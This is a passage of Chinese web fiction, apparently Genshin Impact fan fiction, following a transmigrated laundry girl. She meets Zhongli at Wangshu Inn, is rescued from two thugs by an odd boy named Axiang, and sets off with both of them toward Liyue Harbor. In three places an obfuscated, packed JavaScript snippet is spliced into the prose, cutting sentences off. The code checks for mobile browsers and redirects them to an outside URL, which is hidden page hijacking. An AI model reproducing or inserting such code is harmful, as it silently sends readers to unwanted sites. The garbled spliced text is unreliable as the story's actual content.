他对着她几不可察地微微颔首,像是对陌生人的寻常示意,又像是对她刚才那句话的淡淡回应。 随即,他收回目光,仿佛她与身后的墙壁别无二致,迈步向前走去——人群在他面前,竟无声地分开了一条路。 他径直走向那纠纷的漩涡中心,走向满头大汗的老列克和面红耳赤的商人。 直到那岩金色的背影走出三步远,朗樾冻住的呼吸才猛地一颤,恢复了流动,胸口满是剧烈的心跳和冰冷的震颤。 那一眼,和那个点头,像一记无声的闷棍,狠狠砸在朗樾的太阳穴上。 钟离。 她茫然地想。 居然是钟离。 这个名字,连同那张无数次在屏幕里凝视过的脸,她绝不会认错。 关于“尘世闲游”、“欲买桂花同载酒”的所有记忆碎片,在她脑子里轰然炸开,化作一片纯粹、尖锐的白光。 不是激动,也不是恐惧。 更多的是无助的眩晕——一种认知被彻底碾碎、又被强行重组的剧烈眩晕。 视野里的人群、茶室、雕花的廊柱,全都扭曲褪色,模糊成晃动的背景。 只有那个走向前方的、岩金色的挺拔背影,在视野中央灼烧般清晰。 活的。 会呼吸的。 就在三步之外。 耳朵里嗡嗡作响。老列克陡然拔高的、带着如释重负的殷勤招呼声(“哎呀!是钟离先生!您来得正好!”),至冬商人粗重的喘息,围观者压低的惊呼……所有声音都像隔着厚重的水幕传来,扭曲又遥远。 她全部的力气,似乎都用来支撑自己不要顺着推车滑下去。 手指死死抠着粗糙的木纹。指甲陷进去,带来一丝维系清醒的刺痛。 这一瞬间,逃走的冲动和某种更顽固的念头在她心底撕扯——要么立刻消失,要么,等他再转过来,再说点什么,什么都好。 混乱的潮水淹没了意识,她甚至不知道自己是怎么离开静怡廊的,只有身体还机械地记着推车的重量,记着脚下台阶的触感。 等她重新“看见”时,眼前是洗衣堂熟悉的灰墙,和车上原封未动的、那叠暗金色的桌帷。 意料之中的责备声传来,却像隔着一层雾,模糊不清。 整个下午,她的手机械地动着,搓洗、拧干、熨烫,动作分毫不差,心却像飘在半空,没个着落。 小翠推了她一下,问是不是不舒服。 她摇头,又点头,最后只是扯了扯嘴角。 直到张嫂把今日的工钱交给她,宣布她被扣了五十个摩拉—— 朗樾才终于有了实感,仿佛飘了一下午的灵魂,终于落回了躯壳里。 14. 第 14 章 钟离的邀约 朗樾在储物间的草席上翻了个身。 往常这个点她也没睡,只是累得不想动,闭着眼睛忍饿,各种盘算,直到熬入睡。 可今天不行,她的心静不下来,草席上像生了跳蚤,让她翻来覆去。 她干脆爬起来,把门推开。 夜晚的望舒客栈是另一副样子。 岩顶和主楼的灯火全亮着,悬在黑夜里像一艘巨大的楼船,隐隐有笙歌笑语飘下来。靠近地面的广场那边,逢三的日子有夜市。 今天应该就是逢三。 那边人声鼎沸,热闹得很,格外吸引今晚的她。 白日里商队留下的空地,这会儿被各式小摊占满。灯火连成一片,照着卖杂货的、卖小吃的、卖手工玩意的,还有卖不知真假“古董”的。空气里混着油煎食物的香味、香料味,还有人群挤在一起特有的暖烘烘的味道。 她心里空落落的,口袋里一分钱没带。 然而脚步却不听使唤,还是把她带到了这片灯火边上。 没想买什么,也买不起。就是觉得……需要点人间的嘈杂,需要点光亮,来冲淡脑子里那个岩金色的、安静的影子。 她在人群里漫无目的地走,目光掠过那些或精致或粗糙的东西。心里揣着连自己也说不清的一星半点的火。 然后,她闻到了一阵花香。 很淡,却极有穿透力,从各种混杂的气味里硬生生钻出来。清冷,带一丝甜润,闻得人心神一定。 她循着香味望过去。 广场边缘一个不起眼的角落,蹲着个皮肤黝黑的汉子。面前铺了块粗布,上头孤零零放着几株花。 花枝修长,花瓣是那种在灯火下也显得干净的白,带点蓝,重重叠叠,开得优雅。只是有点蔫,显然挖出来有些时候了,没被好好照料。 朗樾被吸引着走过去。 走近了,她盯着那花,觉得名字就在嘴边,可卡住了出不来——叫什么百合来着? 以前只在游戏里见过。现在真真切切的看到、闻到,还是第一次。 真美啊。也真脆弱。 汉子不太会叫卖,就蹲那儿,偶尔对驻足的人闷声说一句:“野生的,从碧水河上游崖边挖的,好不容易……便宜卖了。” 也有人驻足,但看花儿那蔫蔫的样子,又嫌他不会养,摇摇头走了。 朗樾终于想起来了——琉璃百合。 她蹲下身,想凑近些看—— 一片岩金色的衣角,映着旁边摊位的灯笼光,落进她眼里。 她慢慢抬起头。 钟离就站在摊子另一侧,微微俯着身,同样在看那几株琉璃百合。 夜市暖融融的光落在他身上,侧脸的线条还是那样清晰沉静。和周围的喧嚣格格不入,又奇异地融在一起。 他伸出手,指尖极轻地碰了碰一片有点卷边的花瓣。那动作小心得像在碰一个易碎的梦。 然后他开口,是对那汉子说的,声音平稳温和: “此花离土已有时辰,根系未得妥善保润,生机有损。若以清泉略浸其根,避风处静置一夜,或可挽回一二。” 汉子愣了愣,挠头,有点窘:“俺、俺不懂这些……先生您要吗?便宜点给您?” 钟离没直接答,目光还在那花上,像是在透过眼前的蔫败,看它原本在山崖上沐风饮露的样子。 然后他似乎察觉到了什么,偏了一下头。 他们两人的视线便在这灯火摇曳、花香暗浮的夜市一角,不偏不倚撞上了。 夜市的光在他肩头落了一层暖黄,却透不进他自带的那份沉静。周围的嘈杂像被无形的罩子隔开,只在他身边留出一圈安静的真空。 “是你呀,小姑娘。” 他先开的口,语气平常,像遇见一个见过一面的熟人。 朗樾心脏猛地缩紧,又疯狂跳起来。她咽了咽唾沫,喉咙发干。 “你……”钟离视线在她脸上停了一瞬,带一丝不易察觉的打量,“……好像认识我?” !被看出来了。 一定是她眼神太露骨了! “我、我之前见过您的照片。”她逼着自己开口,声音发紧,但尽力稳住,“您是钟离先生,往生堂的客卿。在……在客栈听一些往来客商提起过,说您博闻强识,见识非凡。” 钟离听完,眉梢动了一下,但没追问。只微微颔首,目光掠过她,又落回那几株花上,像那才是他此刻关心的。 然后他开口说的话,让朗樾心又提起来: “白日里,你在廊下所言——‘货币,并不天生就得是摩拉’——此言初听有些离经叛道,细想却触及根本。是你自己有感而发?” 语调还是那样平和,像在聊一个学术问题。 朗樾的脸一下子涨得通红。盗窃正主的言论,还被正主听个分明,真是说有多尴尬就有多尴尬。 神经绷紧,飞快摇头:“不,不是我想的……这句话也是我从别处听来,但到底是谁说的,我也不记得了。”说到最后,她几乎能听见自己心虚的气音,连忙抿住嘴。 钟离没对她的慌乱表现出什么,只若有所思地“哦”了一声。 然后像闲聊一样,他又抛出一个更让她头皮发麻的问题: “我观你言行,既有璃月之风,细处却又有微妙不同。小姑娘,你家乡在何处?” 朗樾后背差点渗出冷汗。 这个问题比上一个致命。她立刻想起千岩军那边的登记——船难,失忆,只记得名字,不记得来历。这个说法不能和现在对不上。 电光石火间,她做了决定。半真半假,模糊焦点。 “我……不大记得清了。”她垂下眼,声音低下去,这次不用装,确实带上了真实的茫然和苦涩,“之前遇到船难,侥幸活下来,很多事都模模糊糊的。只记得自己叫朗樾,应该……算是璃月子民吧?但具体家在何方,怎么长大的,都记不太清楚。”她抬起眼,看向钟离,努力让眼神显得诚恳,“现在……就在这客栈的洗衣堂做点零工,勉强糊口。” 钟离静静听着, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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如果一路同行,日夜相对,在钟离那样的人面前,她怎么可能完全藏住自己的异常?万一遇到危险,她“死而复生”的秘密,会直接暴露在岩王帝君本人眼前。 那后果,她不敢想。 巨大的渴望和更深的恐惧激烈交战。后者压倒前者。 “不……不用了!”她听见自己声音急促地响起来,带着明显的慌乱,“谢谢钟离先生好意!我、我还想在望舒客栈附近再看看机会,也许……也许还有别的活。去璃月港……我再想想,再想想……” 她语无伦次地找着借口,不敢再看钟离的眼睛。怕多看一眼,就会动摇那用恐惧筑起的防线。 于是,她也错过了钟离眼中一闪而过的、几不可察的深究。 “既如此,便随你心意。”他没强求,语气依旧平和,像刚才的提议只是随口一提。 他注意力又回到那几株花上。和摊主说了几句后,他付了钱,小心翼翼捧起那几株有点蔫败的琉璃百合。 “夜已深,集市将散,早些回去歇息吧。”钟离最后对朗樾说了一句,点点头,便捧着那束在灯火下显得格外清寂的花,转身走入渐疏的人流。 朗樾站在原地,望着那抹岩金色背影消失的方向,很久没动。 夜风吹过,带来一丝残留的、清冷的琉璃百合香气飘过。 而她心里,却漫开一片混杂着失落、后怕和深深迷茫的寒意。 15. 第 15 章 离开的决意 接下来的两天,朗樾过得浑浑噩噩。 钟离的提议像一颗石子投入心湖,涟漪久久不散。 白天做工时,她的手浸在微烫的皂角水里,机械地搓揉着布料,思绪却早已飘远。璃月港啊——那是真正的城市,更多的机会,还有那个什么“民生疏导处”。不管是学门手艺还是暂时救济,应该都比这里可靠吧。 她甚至不自觉地在心里勾勒璃月港的轮廓——吃虎岩的喧闹,绯云坡的繁华,那些在游戏里跑过无数次、如今却可能用双脚去丈量的街道。 有好几次,她几乎要立刻冲出去,找到他,收回那愚蠢的拒绝。 但下一秒,理智的冷雨便当头泼下。 脑海里浮现的不是璃月港的灯火,而是瑶光滩的惨白月光,是被丘丘人举着木棒追击,脑袋砸碎、被雷萤术士用雷电灼焦的痛苦,是死后那片虚无黑暗中漂浮的诡异光团……以及最深的梦魇:倘若在钟离身边,在那双仿佛能洞悉万物本质的金珀色眼眸注视下,她再次经历死亡与重生—— 他会如何看待她? 一个怪物?一个异常? 他会不会认为她对于璃月是个威胁? 他会不会,对她刀戈相向? 她无法想象,只感到骨髓里都渗出寒意。 情感与理智撕扯得她精疲力竭。她食不下咽,夜里在草席上辗转,听着屋外风声都像魔物的呜咽。 白天在洗衣堂,更是连续犯错,原本已熟练的熨烫,竟在一块贵重的云纹绸料上留下了一道刺眼的焦痕。 “阿月!”张嫂的厉喝像鞭子抽来,“魂丢了吗?这料子把你卖了都赔不起!” 朗樾猛地惊醒,看着那道焦痕,脸色惨白,连道歉的话都堵在喉咙里。 小翠在一旁担忧地看着她,递过来一个“小心点”的眼神。 朗樾低下头。 她知道自己的状态不对劲,非常不对劲。可那场内心的战争,她输不起任何一边。 第三天,因为她屡出差错,张嫂再也忍无可忍,罚她一个人清洗堆积如山的抹布。 那些抹布沾着厨余的油腻和刺鼻的腥气,堆在角落里,散发着令人作呕的味道。 冰冷刺骨的污水浸泡着双手,恶心的气味直冲脑门,呛得她几乎喘不过气。 她机械地刷洗着,一遍又一遍,直到双手泡得发白起皱,指腹磨出细小的伤口。 腰背也酸疼得快要折断,她才勉强把所有抹布清洗干净。 等她结束活计时,夜色早已浓稠如墨,洗衣堂里早已空无一人。 只剩下一盏昏暗的油灯,在风里摇曳着微弱的光,显得格外冷清。 通往储物间的小径,要经过员工食堂后侧一片堆放破损桌椅、废弃木料的偏僻角落。 白日里还好,人来人往,并不觉得有什么,然而当她第一次这么晚经过这里,月亮那微弱辉光勉强照明,杂物投下扭曲诡谲的黑影。 寒风穿过缝隙,发出呜咽般的轻响,透着说不出的阴森。 朗樾裹紧单薄的衣衫,加快了脚步。心里的纷乱被环境的阴森勾起,化作皮肤上颤栗的寒意。她只想快点回到那个虽简陋却可以关上门的小隔间。 就在她穿过一片阴影最浓重的区域时,前方传来木箱被踢动的闷响,以及刻意压低的、粗嘎的笑声。 两个身影从一堆破木料后晃了出来,一左一右,不偏不倚,堵在了小径中间。 朗樾的心瞬间沉了下去。 是“豁牙”和“胖头”。码头和底层杂役里出了名的两个混子。豁牙人如其名,门牙缺了一角,笑起来总带着一股下流的狠劲儿;胖头脖子粗短,一身蛮肉,眼神浑浊而贪婪。他们不干正经活计,专爱欺生、勒索、蹭酒,是这片区域阴暗角落里的常客。 “哟,瞧瞧,这不是洗衣堂新来的小雀儿吗?”豁牙咧开嘴,露出那颗豁牙,上下打量着朗樾,目光像黏湿的舌头舔过她沾着污渍的粗布衣裳,“这么晚了,一个人呐?哥哥们看了都心疼。” 胖头抱着胳膊,嘿嘿笑着附和:“就是,这地方晚上可不安全,有野狗,还有……别的。”他往前凑了半步,浓重的酒气和汗臭扑面而来,“让哥哥们送你回去?放心,咱们最会‘照顾’人了。” 朗樾全身的血液仿佛瞬间冻住,又猛地冲上头顶。她下意识地后退,脊背却撞上了冰冷的石墙。 绝望的冰冷和愤怒的灼热同时炸开。 “让开。”她从牙缝里挤出两个字,声音干涩发颤。 “让开?”豁牙嗤笑,又逼近一步,几乎能闻到他嘴里劣质烟草的臭味,“小雀儿脾气还不小。哥哥们是关心你。你看你,无亲无故的,住那破地方,晚上怕不怕?冷不冷?”他的眼神变得露骨而黏腻,“不如……以后跟着哥哥们,保管你吃香喝辣,嗯?” 胖头的手已经不安分地抬起,似乎想碰她的肩膀。 极致的恐惧激发了最原始的反应。朗樾顺手从身侧抓起一样东西砸过去。 “滚开!” 那是一个破了洞的木盆,正好砸在胖头粗壮的手臂上,失了准头,却彻底激怒了他们。 “妈的!敬酒不吃吃罚酒!”胖头骂了一声,一把抓住朗樾的手腕,力气大得她骨头生疼。 豁牙的脸色也沉了下来,眼中没了那点伪装的流气,只剩下冰冷的恶意:“给脸不要脸!真以为有人管你?在这儿,弄死你个没根没萍的,扔进荻花洲喂鱼,谁找?” 挣扎是徒劳的。男人的力量压倒性地制住了她。呼喊?这片死寂的角落,只会让他们的行为更肆无忌惮。 死亡的恐惧再次攫住她,但比死亡更先涌上的,是深不见底的屈辱和恶心。她仿佛能预见接下来会发生什么,那让她灵魂都开始颤栗。 难道要在这里…… 不! 绝望如同冰冷的潮水,即将淹没她的口鼻。 就在胖头粗糙的手要进一步动作,豁牙带着狞笑凑近的刹那—— “这里,很吵。” 一个平静的、甚至带着些许空洞困惑的少年声音,从旁边一堆高高的破桌椅阴影里传来。 在那片浓重的阴影里,仿佛他一直就在那儿,与黑暗融为一体,此刻才被“吵”得显形。 三人俱是一惊。豁牙和胖头猛地扭头。 朗樾泪眼模糊中,看到阿响从阴影里慢慢走出来。 他手里没有灯,身形单薄,脚步轻得像没有重量。昏暗光线下,他的脸没什么表情,但那双眼睛——空茫,澄澈,映不出怒火也映不出恐惧,只是平平地望过来,像两面擦得过于干净的玻璃,反而让人心底发毛。 “吵?”豁牙愣了愣,随即恼怒,“小傻子,滚远点!别在这儿碍事!” 阿响仿佛没听见。他走到朗樾和两个男人之间,距离很近,却奇异地让豁牙和胖头下意识后退了半步。 他先是低头,看了看朗樾惨白的脸和眼中的泪光,又抬头,目光空茫地扫过豁牙缺了的门牙和胖头横肉堆积的脸。 “你们的‘声音’,很吵。”他重复道,眉头微微蹙起,像被噪音打扰般露出一丝纯粹的不解,“像烂泥里的虫子,在泥浆里搅动。还有……颜色,是黑的,很脏,想要爬到她身上。” 他伸手指了指朗樾,又指向他们。 “这样不对。” 这根本不是骂人,而是一种令人毛骨悚然的“描述”。豁牙和胖头脸上凶狠的表情僵住了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17307620|198725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 取而代之的是一种混合着困惑、被冒犯和某种莫名不安的神情。 这小子说话一直怪,但此刻的“怪”里,透着一股让人脊背发凉的直白。 “妈的,胡言乱语什么!”胖头色厉内荏地骂了一句,想伸手推开阿响。 阿响没有躲。只是在他手伸过来时,微微侧头,空茫的眼睛看向胖头的手腕,轻声说: “这里,跳得很快。你害怕。” 胖头的手僵在半空。 阿响不再看他,转而望向豁牙,依旧用那陈述事实的语调说: “林伯一刻钟前就在找今天下午偷懒没去搬运琉璃瓦的人。他说,找到的话,要扣掉接下来三天的工钱,还要去清理岩壁西侧最脏的排水口。” 他顿了顿,补充道:“癞嘎子把你检举了,还说要找到你。方才他问我有没有看见你,我说你下午一直躲在这边睡觉。他应该快找到这里来了。” 此时此刻,阿响的话配上他那双仿佛能“看见”什么的空茫眼睛,产生了一种难以言喻的可信度。 三人都完全确信他说的一定是真的。 这段话里没有任何威胁词汇,听在豁牙耳中,却让他的脸色彻底变了。林伯是尹管事手下最得力的人,为人严苛。如果让癞嘎子那家伙真的摸到这里来撞见点什么…… 豁牙眼神剧烈闪烁,最终狠狠瞪了阿响和朗樾一眼,从牙缝里挤出两个字: “晦气!” 他不再犹豫,拉扯了一下还在发愣的胖头,“走!” 两人迅速转身,几乎是逃跑般消失在通往主路的黑暗中,步伐仓皇。 危险解除,支撑朗樾的那股气瞬间泄掉。她双腿一软,顺着木料堆滑坐在地。 劫后余生的虚脱、冰冷的后怕、以及连日来积压的孤独无助猛地爆发出来。她抱住膝盖,把脸埋进去,身体无法控制地剧烈颤抖,眼泪汹涌而出,却发不出太大的声音,只有压抑的、破碎的哽咽。 阿响安静地站在一旁,没有说话。 过了一会儿,他才轻声开口: “他们身上,‘光’是黑的,像烂泥里的油。这里很多这样的‘光’,缠在一起。” 他看向朗樾,眉头微微蹙起,似乎在努力表达: “你的‘光’在这里会被埋掉……北边?”他有点困惑的自言自语,然后点点头,“你应该去北边。”他抬头看她,“我早跟你说过了。” 朗樾抬起泪痕狼藉的脸,望向阿响。 他的话依旧像谜语。但此刻,每一个字都像冰冷的钉子,敲进她刚刚经历过恐惧的现实。 望舒客栈,这个她勉强容身的地方——虽然之前她已经知道这跟游戏里完全不一样——可在它的壮丽之下,阴影却远比她想象的更污浊、更危险。 留下,意味着可能再次、甚至更频繁地面对今晚的绝境,面对那些“烂泥里的油”般的东西。个人的小心谨慎,在纯粹的恶意面前,脆弱得不堪一击。 跟钟离走?那个关于暴露的终极恐惧,再次浮现心头。 璃月港,可能也不单单是她印象中只有市井烟火和万家灯火的平安祥乐之所在。但与眼前这真切冰冷、几乎将她吞噬的黑暗相比,那份恐惧仿佛退后了一步,变成了一个需要精心规避的“风险”。 而留在这里,却是肉眼可见、步步紧逼的“绝境”。 那个人——或者说,神明——至少代表着一种强大的、光明的、秩序的力量。 至少,走在他身边,这些阴暗角落里的蛆虫,绝不敢轻易靠近。 一个念头,如同在绝望废墟中挣扎而出的芽,带着不顾一切的决绝,变得清晰无比: 走。必须走。 跟钟离走。 16. 第 16 章 次日,朗樾像一抹游魂,在客栈里四处转悠。 岩顶茶室、观景平台、主楼回廊——她不敢问人,只能靠自己一双眼睛,一遍遍搜寻那抹岩金色的身影。 每一次看到相似的颜色,心脏都会揪紧。快步上前,然后发现只是某个富商的衣袍,或是一抹夕阳误投在柱子上。 失望像细针,一下一下扎。 午后,她躲在石柱阴影里,看着往来穿梭的客商和伙计,第一次这么清晰地感受到自己的“不存在”。她像一滴水,马上就要被蒸干了。 如果找不到他呢?如果他走了呢? 这个念头让她手脚冰凉。 傍晚,夕阳如血。荻花洲的芦苇被染成一片金红。 朗樾拖着灌铅的腿,几乎是本能地,又走到了静怡廊——昨天遇见他的地方。 她不抱希望了。只是……想去那里站一站。 然后,她看到了。 他就站在凭栏处,面向荻花洲和天际的流云。岩金色的长衫被晚风微微拂动,背影沉静得像已经站了千年。 眼眶猛地一热。 她几乎是跑过去的,脚步声在空荡的廊道上回响。 钟离缓缓转身。看到她气喘吁吁、眼圈发红的样子,目光似乎微微动了一下。 “钟离先生!”她在面前站定,努力平复呼吸,仰起脸,所有的犹豫和伪装都被冲散了,“去璃月港的事……我想好了。请您带我一起去吧……如果还来得及的话。” 钟离看了她一眼,几不可察地点了点头:“可。明日卯时三刻,广场右边的栓马桩。” “谢谢!”她深深鞠了一躬,直起身时,脸上是这些天来从未有过的光彩。 ——然后,接下来的事就紧急了。 她先去找刘管事辞工。 刘管事从账册上抬起眼皮看她一眼,没多问,只点了点桌上一个簿子:“临时工当日辞工,扣当日工钱。你早上说生病请假——”她意味深长地扫了朗樾一眼,“把字签了,按手印。” 朗樾臊红了脸,拿笔正要签,才反应过来——她不会写字。 “……我不会。”她讷讷道。 刘管事倒没在意,接过簿子替她写了两个字,又推回来:“按手印吧。” 还是得学写字啊。朗樾一边想,一边按下鲜红的指印。 走了两步,她又退回来鞠了一躬:“多谢刘管事……我、我还想求一件事,今晚能不能再住一晚?就一晚!” 她不敢抬头,脸胀得通红。 过了好一会儿,刘管事的声音才响起:“就允你再住一晚。” “谢谢!”她拼命点头。 出了门,看见张嫂站在门外,目光有些复杂。朗樾冲她躬了躬身,跑了。 王婶的反应就现实多了。 在那间拥挤的棚屋里,听说朗樾要走,王婶的脸立刻拉下来,手里补着的袜子“啪”地搁在膝上。 “这就走了?不是说好顶到我闺女脚好?这让我怎么跟刘管事交代?”王婶语气里没了之前的和气,“阿月啊,婶子当初可是看你可怜……” “对不起,王婶。”朗樾深深弯下腰,“是我失信了。您的恩情我记得,以后……我一定还。” 她知道这话空得很,但她拿不出任何实际的东西。 王婶撇撇嘴,挥挥手:“算了算了,就知道靠不住。” 转过身不再看她。 朗樾默默退出来。心里那点因找到出路而生的雀跃,蒙上了一层灰。 回到储物间,行李不多:一套洗净的现代衣裤,几块省下的干粮,一个水囊,一顶旧草帽。摩拉装在另一个袋子里,压在包裹最底层。 整理得很快。每放一样东西,都像在跟这段日子做切割。 她环视这间小屋——今晚是最后一晚了。 墙角堆着干草,身下的旧草席已经被她躺出了人形,空气里有她早已习惯的灰尘和皂角味。 不过短短十来天。感觉比前世二十年还长。 然后,她想起了阿响。 “……也得去告个别吧。” 可她不知道他住哪儿。问了几个人,才有个老妇人含糊地指了指岩壁根脚的一排低矮平房——“跟好些个跑腿、扫地的住一块儿,最外头那间通铺。” 那地方比洗衣堂这边更杂乱、更偏。 她找到那间屋子时,门虚掩着。敲了敲,没人应,便轻轻推开。 一股汗味、霉味、廉价灯油味混在一起的热气扑面而来。几个面生的少年或坐或躺,好奇地打量她。 “我找阿响。” 有人朝一个方向努了努嘴。 朗樾走过去。 阿响正坐在他那张铺位边上,低着头用湿布擦手臂。听到脚步声,抬起头。 等看清楚,朗樾心里一揪。 他脸上有一块青紫,嘴角也破了,渗着血丝。手臂上有几道新鲜的擦伤。衣服上沾着尘土和——像是脚印的痕迹。 “阿响,你怎么了?”她蹲下身,声音放轻。 阿响眨了眨眼,空茫的目光落在她脸上,好像才认出她。 “摔了一跤。”他语气平淡得像说“今天下雨了”。 朗樾看着他脸上的伤,想起昨夜那两个混混走时的眼神。一个猜测浮上来。 因为她。 她喉咙发紧,压下那份愧疚,尽量让声音听起来明快点:“我要走了,阿响。明天一早,跟钟离先生去璃月港。” 阿响静静听着。偏了偏头,像在理解这句话。 然后,他眉头微微蹙起,露出那种熟悉的困惑表情:“璃月港……可是,璃月港并不在北面啊。” 又来了。她听不懂的谜语。 朗樾勉强笑了笑:“北面……以后再说吧。我现在得去璃月港。” 让她完全没想到的是,阿响听完,放下手里的湿布,很认真地想了想。 “明天什么时候?在哪里?” 朗樾愣了愣:“明日卯时三刻……5点45,广场右边栓马桩。太早了,你不用来送我……” “我也去。”他抬起头,用那双映着青紫却依然清澈的眼睛看着她,很自然地说,“璃月港。” 朗樾彻底愣住:“……什么?你也要去?为什么?” 阿响想了很久。 久到朗樾以为他又会说“不知道”。 然后,他摇了摇头,脸上是纯粹的困惑,目光却笔直地、毫无杂质地落在她身上: “我不知道。” 他顿了顿,又补充道:“你的‘光’,一直不一样。现在……好像更亮了一点,但也更乱了。跟着你,感觉好像……比较对。” 他顿了顿,说出那句让朗樾心头一颤的话,语气理所当然,像在说太阳从东边升起: “而且,我也不想离开你身边呀。” 说完,他觉得所有的话都说完了。不等朗樾反应过来,自顾自点点头,轻轻地说: “那就这样说好啦。” 然后他重新拿起那块脏了的湿布,低下头,继续慢慢擦手臂上的灰和血迹。 窗外的暮色透进来,笼在他单薄带伤的身影上,有一种奇怪的、与这污浊通铺格格不入的安静。 朗樾张了张嘴,说不出话。 最终,她只是深深看了他一眼,把那青紫的伤痕印在心底,默默退出去。 暮色渐沉。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17307621|198725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她独自走回储物间。心里那份雀跃沉淀下来,混进了更复杂的滋味——对前路的隐忧,对连累他的歉疚,还有一种奇异的重负感。 这个少年,她完全看不懂。但奇怪的是,她发现自己生不出断然拒绝的念头。 在这片陌生天地里,这份笨拙却纯粹的跟随,像暗夜里亮起的一小簇萤火。 微弱。 却实实在在地,驱散了一角让人心慌的孤独。 有个这样的伙伴—— 好像,不坏。 这一夜朗樾几乎没睡。 脑子里乱得很——明天要走的路,以后该怎么办,还有这两天发生的事。翻来覆去,腕表上的荧光指针一点点挪。 4:40,她放弃了。 起来用冷水抹了把脸,背起那个装着她全部家当的小包袱,轻轻推开门。 “吱呀”一声,在安静的夜里格外响。她侧身挤出去,反手带上。 洗衣堂里还浸着昨夜的潮气,那些白天装满热水的石槽这会儿空着,安静得有点陌生。 推开后门,清冽的晨风扑面而来。天还没亮透,头顶深蓝褪成了浅灰,东边荻花洲的水雾上透出一抹淡青。 客栈岩顶的灯灭了大半,只剩栈道上几盏长明灯笼还亮着,在风里晃。 后勤区已经有动静了。热水房的烟囱冒着白烟,驮兽棚那边传来铁链声和牲畜困倦的响鼻。声音都闷闷的,被还没散尽的夜气压着。 只有升降梯那边传来规律的“嘎吱”声——大水车开始预转了,为新的一天做准备。 她走上广场。 这里居然有个早餐摊已经支起来了。一个头发花白的老妇人正在码蒸笼,白汽升腾,飘过来面点特有的暖香。旁边蹲着三两个等吃的,搓着手互相打招呼。 朗樾绕开那摊子,走到广场右侧的拴马桩。 桩子被摸得油亮,地上有干草屑和蹄印,空气里浮着淡淡的牲口味儿。几个脚夫正在往板车上装最后一捆货,喘出的气在冷空气里凝成白雾。更远处有驮队整好了行装,吆喝着准备出发。 钟离还没到。她来太早了。 找个避风的角落蹲下,抱着膝盖,望向东南边——天边泛着鱼肚白,璃月港就在那个方向。 她在这个陌生世界里,要去的第一座真正的城市。 奇怪的是,这会儿心里很平静。 等了一会儿,脚有点麻了。正想换个姿势,一阵很轻的脚步声从旁边传来。 朗樾转头,看清来人,放松下来。 阿响。 他还是那身洗得发灰的旧衣服,头发乱蓬蓬的,脸上的青紫在微弱天光下格外显眼。手里提个空瘪瘪的小布包,悄没声地走过来,在离她几步远的地方停下,学着她的样子蹲下,看着地面发呆。 “你也这么早。”朗樾轻声说。 阿响点点头,没吭声。 过了一会儿,他抬起头,不是看她,而是望着北边的天空——那边还是一片深蓝。 两人都没说话。 天又亮了些。 远处传来脚步声,平稳清晰。 朗樾立刻站起来。 钟离的身影穿过薄雾,准时出现在晨光里。岩金色的长衫干干净净,步子从容得像不是来赶路,而是去赴一场早茶。他牵着一匹温驯的驮兽,背上驮着行囊。 “钟离先生,早。”朗樾迎上去。 “早。”他微微颔首,目光温和,“时辰刚好。” 朗樾犹豫了一下:“呃……钟离先生,有件事想跟您说。” 他看她。 “客栈里大家都叫我阿月,”她尽量让语气自然点,“您……也叫我阿月吧。听着习惯些。” 17. 第 17 章 与神明同行(上) 钟离听了这话,眼里掠过一丝笑意,从善如流:“好,阿月姑娘。” ——其实把“姑娘”俩字省掉更好。朗樾忍了又忍,才没把这句话说出口。 “这位是阿响。”她侧身,把蹲在地上的少年指给他看,语气尽量自然,“他……在客栈帮过我不少忙,这次也想一起去璃月港看看。” 说得有点含糊。毕竟她也不知道怎么解释——说好一个人,怎么又冒出来一个。 阿响这才慢吞吞站起来,空茫的视线落在钟离身上。没问好,没行礼,就那么静静看着。 钟离的目光在他脸上那几块新鲜的青紫上停了一瞬,随即露出平和的笑意:“原来如此。既是阿月姑娘的同伴,自然欢迎同行。我名钟离,此行往璃月港去,路上有劳小友照应了。” 他说得自然而然,好像阿响的加入根本不叫事儿。 阿响听着,没什么表情。直到钟离说完,他才眨了眨眼,像刚处理完听到的信息,然后用一种陈述事实的语气开口: “你……好重。” 朗樾一愣。 钟离眉梢微不可察地动了一下,笑容没变:“哦?小友此言何解?” 阿响想了想,摇摇头,目光扫过钟离周身,语气依旧平直:“不知道。就是感觉。你站在这儿,像……像一整座山坐那儿,把周围的‘声音’都压静了。” 他顿了顿,又补了一句:“但山是好的山。” 这话没头没尾,古怪得要命。朗樾听得云里雾里,但一想到钟离真正的身份…… 她下意识紧张起来,飞快瞥了钟离一眼。 钟离却没生气,也没惊讶。他反而颇感兴趣地看着阿响,眼中闪过一丝思索,随即化为了然,轻轻颔首:“原来如此。小友感知敏锐,所言虽异,却别有意趣。山石厚重,自是静默。” 见他这么坦然,朗樾刚提起的那点紧张也散了。就当阿响又说了句听不懂的呓语吧。 阿响见钟离好像明白了(或者说,接受)他的话,便不再开口,重新低下头,恢复成往常安静的样子。 钟离也不再深究,转向朗樾,语气如常:“时辰不早,我们启程吧。今日需穿过荻花洲南部,向东南方向,午后可达归离原中部。”他拍了拍身旁的驮兽,“行李可以让它驮着,二位轻装简从即可。” 他没问阿响为什么突然加入,也没对他脸上的伤和怪话表现出太多好奇。那份自然而然的接纳里,带着一种见惯世事的从容。 